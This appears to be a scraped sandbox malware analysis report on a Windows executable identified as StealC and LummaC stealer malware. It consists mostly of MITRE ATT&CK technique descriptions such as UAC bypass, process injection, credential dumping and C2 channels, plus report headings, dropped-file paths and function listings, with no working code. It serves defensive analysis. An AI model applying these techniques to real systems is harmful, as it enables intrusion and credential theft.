Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report jYd7FUgGZc.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\JI1XME003OC9O5S8X2QF4.exe.log

C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe

C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Windows Analysis Report
jYd7FUgGZc.exe

Function 04FB15D0 Relevance: 1.8, APIs: 1, Instructions: 299
COMMON

Function 04FB15C4 Relevance: 1.8, APIs: 1, Instructions: 303
COMMON

Function 04FB0D41 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Function 04FB0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Function 04FB1509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Function 04FB1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Function 04FB1301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Function 04FB1308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre